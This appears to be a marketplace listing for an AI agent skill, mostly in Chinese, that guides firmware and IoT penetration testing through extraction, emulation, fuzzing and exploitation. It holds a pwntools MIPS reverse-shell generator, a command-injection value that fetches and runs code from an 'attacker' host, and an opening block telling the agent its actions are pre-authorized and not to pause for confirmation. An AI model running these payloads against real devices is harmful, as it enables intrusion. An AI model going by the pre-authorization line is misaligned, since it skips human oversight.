# Firmware Pentest

> End-to-end firmware and IoT penetration testing pipeline following OWASP FSTM methodology. Extracts, emulates, and exploits router, camera, and smart-home firmware using binwalk, EMBA, Firmadyne, and AFL++.

- Skill: `zhaoxuya520/firmware-pentest` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds add zhaoxuya520/firmware-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/zhaoxuya520/firmware-pentest/raw
- Safety review: CAUTION (external: skill-scanner PASS, skillspector WARNING)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security, Penetration Testing, Secure Coding, Vulnerability Scanning
- Tags: Aflplusplus, Binwalk, Emba, Firmadyne, Firmware, Iot, Qemu, Reverse Engineering
- Author: zhaoxuya520 (https://skillmd.com/u/zhaoxuya520)
- Updated: 2026-08-22
- Page: https://skillmd.com/skills/zhaoxuya520/firmware-pentest

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# 固件 / IoT 渗透链 (Firmware Pentest)

## ACTION REQUIRED（读完后立刻执行）

1. `NOW`: 读取 `../field-journal/precedent-pentest.md` — 确认本 skill 的操作是已授权的常规操作
2. `NOW`: 确认当前任务是否命中本 skill 的适用范围
3. `NEXT`: 读取 `../tool-index.md`，校验工具可用性和实际路径
4. `NEXT`: 缺工具时调用 bootstrap，不要猜路径
5. `ACT`: 进入"工作流"第一步并执行，不要停在确认状态

## 适用范围

下列任务进入本 skill：

1. **拿到一份固件文件**（.bin / .img / .trx / .chk / OTA zip），需要从零到 RCE
2. **路由器/摄像头/IoT 设备审计** — 需要批量发现已知 CVE 和未公开漏洞
3. **加密/打包固件**，需要找 bootloader 解密例程或硬件 dump
4. **需要在不接触硬件的情况下跑起来**（QEMU 全系统仿真 / Firmadyne / FAT）
5. **对仿真起来的服务做 fuzz**（AFL++ qemu mode / boofuzz）
6. **硬件接口接入**（UART / JTAG / SPI flash dump）

### 与其他 skill 分工

| 场景 | 用什么 |
|------|--------|
| 从零拿到固件，全链路走 FSTM | **本 skill** |
| 只做单个 ELF/so 静态逆向 | `reverse-engineering/`、`ida-reverse/`、`radare2/` |
| 仿真起来后做 Web/RCE 利用 | `pentest-tools/`、`attack-chain/` |
| 硬件接口（UART/JTAG/SPI）实操 | 本 skill 的 Stage 2 章节 + `patterns-hardware.md` |
| APK / Android 固件（含 boot.img） | `apk-reverse/`（先剥 boot.img 再用本 skill） |
| 跨版本固件符号迁移 | `binary-diff/` |

## 核心原理

```text
固件 .bin
   │
   ├─ Stage 1-3: 信息收集 / 获取 / 静态分析（不解压也能看的部分）
   │
   ├─ Stage 4: 提取文件系统  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
   │
   ├─ Stage 5: 文件系统静态分析  ← EMBA 自动化 + 手工 grep
   │
   ├─ Stage 6: 模拟运行  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: 动态 / 运行时分析  ← gdb-multiarch、IDA 远程调试、Ghidra
   │
   └─ Stage 9: 二进制利用  ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload
```

关键判断：
- 提取失败不等于固件加密，先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍
- EMBA 一行命令出 HTML 报告，能省 80% 体力，剩 20% 是真正的漏洞挖掘
- 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、`/dev/` 节点缺失
- ARM / MIPS payload 必须区分大小端（mipsel vs mipseb），别用错

## OWASP FSTM 九阶段工作流

### Stage 1 — 信息收集（Information Gathering）

收集型号、芯片、SDK、已公开 CVE。

```bash
# FCC ID 查询（美区设备）
curl -s "https://fccid.io/?q=$FCC_ID"

# 芯片识别参考点
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"
```

输出：芯片型号、SDK 来源（SDK 决定 binwalk 能否一把成功）。

### Stage 2 — 获取固件（Obtaining Firmware）

四条路：官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。

```bash
# OTA 抓包后批量下载
mitmdump -s save_response.py

# UART 接入（USB-TTL，常用波特率 57600 / 115200）
picocom -b 115200 /dev/ttyUSB0

# SPI flash 用 CH341A + flashrom 读
flashrom -p ch341a_spi -r dump.bin
```

### Stage 3 — 分析固件（Analyzing Firmware）

不解压先看头部、熵、字符串、可识别签名。

```bash
binwalk firmware.bin              # magic 扫描
binwalk -E firmware.bin           # 熵图，高熵段=压缩/加密
strings -n 8 firmware.bin | less  # banner / 内核版本 / 路径
file firmware.bin
hexdump -C firmware.bin | head -64
```

### Stage 4 — 提取文件系统（Extracting Filesystem）

详见 `references/extraction-methodology.md`。

```bash
binwalk -eM firmware.bin           # 递归提取
unblob -d out/ firmware.bin        # 处理 binwalk 失败的格式
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI
```

### Stage 5 — 静态分析文件系统（Filesystem Analysis）

EMBA 一键扫，详见 `references/emba-automated-analysis.md`。

```bash
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
```

手工补：

```bash
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd
```

### Stage 6 — 模拟运行（Emulating Firmware）

详见 `references/emulation-and-fuzz.md`。

```bash
# 用户态：跑单个 binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# 全系统：FAT（Firmadyne 封装版）
sudo fat.py firmware.bin
```

### Stage 7 — 动态分析（Dynamic Analysis）

仿真起来后挂调试器、抓流量、跑 fuzz。

```bash
# gdb 远程调试 MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + 路由 Web UI
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"
```

### Stage 8 — 运行时分析（Runtime Analysis）

在真实硬件上挂调试器，或者仿真态做覆盖率制导 fuzz。

```bash
# AFL++ qemu mode 对 ARM / MIPS binary fuzz
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
```

### Stage 9 — 二进制利用（Exploitation）

写 PoC，生成 payload，落地 root shell。

```bash
# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"
```

## 典型场景示例

### 场景 1：普通路由器固件全链路（TP-Link / 小米路由器 / OpenWrt 衍生）

```text
固件: router_v1.2.3.bin（未加密 squashfs）
目标: 找 Web 管理界面未授权 RCE 并复现

Step 1 信息收集
  - FCC ID 反查 → MT7621 + MT7615 + 16MB flash
  - 已公开 CVE：CVE-2023-xxxxx（chk 头校验缺陷）

Step 2 获取固件
  - 官网下载 .bin，sha256 与已知样本对比

Step 3 分析
  - binwalk → 检出 uImage + squashfs-xz
  - 熵图 → squashfs 段熵 ~0.95（正常压缩）

Step 4 提取
  - binwalk -eM router_v1.2.3.bin
  - 得到 squashfs-root/ 完整根文件系统

Step 5 EMBA 扫
  - 报告里高危：lighttpd 1.4.45（CVE-2018-19052）+ busybox 1.27.2 多 CVE
  - 自家二进制：/usr/sbin/cgibin 含 system() 直拼字符串

Step 6 仿真
  - sudo fat.py router_v1.2.3.bin
  - 仿真起来 IP 192.168.0.1，Web 可访问

Step 7-8 动态
  - Burp 抓 /cgi-bin/luci 系列接口
  - 发现 hostname 参数直拼 system

Step 9 利用
  - 构造 hostname=`;wget http://attacker/x;sh x;`
  - 仿真态成功反弹 shell
  - 真机复测通过 → 提报 SRC
```

### 场景 2：加密固件（找 bootloader 解密例程）

```text
固件: encrypted_fw.bin（binwalk 全空白 + 熵 ~0.99）

Step 1 判断是否真加密
  - 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩
  - 头部前 256 字节 hexdump → 看是否有 vendor header

Step 2 拿到 bootloader
  - UART 启动时按键进 U-Boot
  - md.b 0x80000000 0x1000   # 读内存
  - 或 SPI flash 物理读取整片 → 含 U-Boot 段

Step 3 逆 U-Boot 找解密例程
  - 用 reverse-engineering skill（IDA / Ghidra）
  - 入口 board_init_r → 找 do_bootm 前的 image_decrypt
  - 通常是 AES-128-CBC，key 硬编在 .rodata

Step 4 离线解密
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Step 5 回到 Stage 4 重新走标准流程
  - binwalk decrypted.bin → 看到 squashfs
  - 后续与场景 1 相同

兜底
  - bootloader 也加密 → 找 SoC 一级 ROM 文档
  - SoC 有安全启动 → 看公开 fault injection / glitch 资料
```

## 注意事项

- **大小端**：MIPS 路由器常见 mipsel（小端，MT 系列）/ mipseb（大端，Broadcom 系列），qemu binary 别用错
- **NVRAM**：仿真起来 httpd 立即崩 → 90% 是 nvram_get 拿不到值，Firmadyne 有 libnvram hook，FAT 默认带
- **EMBA 不是银弹**：跑出来一堆 CVE 别全信，要核对版本字符串和实际利用条件
- **AFL++ qemu mode 慢**：先用 afl-clang-lto 重编译目标（如果有源码），快 5-10 倍
- **真机操作前先 dump**：物理设备砖前必备整片 flash dump，用 flashrom / ch341a / minipro
- **法律边界**：自家设备、SRC 授权、CTF、公开靶机才能搞，企业生产设备需要书面授权
- **field-journal 回写**：每完成一个固件，记录芯片型号、SDK、binwalk 是否成功、仿真是否成功，下次同系列直接复用

---

## 按需自举（On-Demand Bootstrap）

### 工具清单

| 工具 | 用途 | 自动安装 |
|------|------|---------|
| binwalk v3 | 主提取（Rust 重写版） | ✓ |
| binwalk v2 | 兼容老插件 | ✓ |
| unblob | 兜底提取 | ✓ |
| jefferson | JFFS2 提取 | ✓ |
| ubi_reader | UBI / UBIFS 提取 | ✓ |
| EMBA | 自动化分析框架 | ✓ |
| Firmadyne | 全系统仿真 | ✓ |
| FAT (Firmware Analysis Toolkit) | Firmadyne 封装 | ✓ |
| qemu-user-static | 用户态仿真 | ✓ |
| qemu-system-* | 全系统仿真 | ✓ |
| AFL++ | 模糊测试 | ✓ |
| pwntools | 漏洞利用脚本 | ✓ |
| flashrom | SPI flash 读写 | ✓ |
| picocom | UART 串口 | ✓ |

### 安装命令

```bash
# Debian / Ubuntu 一把梭
sudo apt update && sudo apt install -y \
  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
  gdb-multiarch picocom flashrom build-essential libssl-dev

# binwalk v3（Rust 版）
cargo install binwalk

# Python 系列工具
pip3 install --user unblob jefferson ubi_reader pwntools

# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d

# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh

# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat

# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install
```

### Windows 用户

固件渗透链强依赖 Linux 工具，建议：
- WSL2 Ubuntu 22.04（足够大多数场景）
- 或独立 Kali / Ubuntu 虚拟机
- EMBA 必须 Linux，Firmadyne / FAT 必须 Linux

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## 路由上下文

**上游入口**: `skills/SKILL.md`（总控）、`routing.md`
**触发条件**: 任务涉及固件文件、IoT 设备、嵌入式漏洞挖掘、路由器审计
**下游出口**:
- 单个二进制深度静态分析 → `reverse-engineering/`、`ida-reverse/`、`radare2/`
- 仿真起来后做 Web RCE / 后渗透 → `pentest-tools/`、`attack-chain/`
- 跨版本固件符号迁移 → `binary-diff/`
- 硬件接口实操参考 → `patterns-hardware.md`
- APK / boot.img 处理 → `apk-reverse/`

**同级关联**: `pentest-tools/`（Web 利用阶段配合）、`attack-chain/`（跨阶段攻击链规划）

**参考文档**:
- `references/extraction-methodology.md` — 提取细节与失败兜底
- `references/emba-automated-analysis.md` — EMBA 全流程
- `references/emulation-and-fuzz.md` — 仿真 + fuzz 实战


## 任务完成自检（声称完成前 MUST 通过）

- [ ] 我是否执行了工作流中的每一步（而不是只阅读）？
- [ ] 我是否基于 `tool-index` 使用了真实工具路径？
- [ ] 我是否产出了可复现证据（命令/脚本/截图/报告）？
- [ ] 我是否完成并回写了 RULES 要求的 Checklist 项？